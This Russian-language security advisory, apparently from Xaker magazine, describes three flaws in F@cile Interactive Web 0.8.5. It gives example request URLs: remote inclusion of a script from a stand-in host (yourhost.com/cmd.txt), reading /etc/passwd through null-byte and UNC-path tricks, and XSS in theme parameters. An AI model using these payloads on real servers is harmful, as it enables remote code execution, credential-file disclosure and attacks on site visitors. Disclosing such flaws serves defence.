Хакер #305. Многошаговые SQL-инъекции
Программа: F@cile Interactive Web 0.8.5, возможно другие версии.
Обнаруженные уязвимости позволяют удаленному пользователю произвести XSS нападение и скомпрометировать уязвимую систему.
1. Уязвимость существует из-за недостаточной обработки входных данных в параметре "l" в сценарии p-popupgallery.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Пример:
http://[victim]/[FacilePath]/p-popupgallery.php?l= http://yourhost.com/cmd.txt?
http://[victim]/[FacilePath]/p-popupgallery.php?l= /etc/passwd%00
2. Уязвимость существует из-за недостаточной обработки входных данных в параметре "pathfile" в сценариях p-editpage.php и p-editbox.php. Удаленный пользователь может просмотреть произвольные файлы на системе. Для удачной эксплуатации уязвимости опция "magic_quotes_gpc" должны быть отключена.
Пример:
http://[victim]/[FacilePath]/p-editbox.php?pathfile=/etc/passwd
http://[victim]/[FacilePath]/p-editbox.php?pathfile=\\192.168.1.1\ file.php <- php5
http://[victim]/[FacilePath]/p-editpage.php?pathfile=/etc/passwd
http://[victim]/[FacilePath]/p-editpage.php?pathfile=\\192.168.1.1\ file.php <- php5
3. Уязвимость существует из-за недостаточной обработки входных данных в параметрах "mytheme" и "myskin" в сценарии p-themes/puzzle/index.inc.php. Удаленный пользователь может выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример:
http://[victim]/[FacilePath]/p-themes/THEME/index.inc.php?mytheme= XSS&myskin=XSS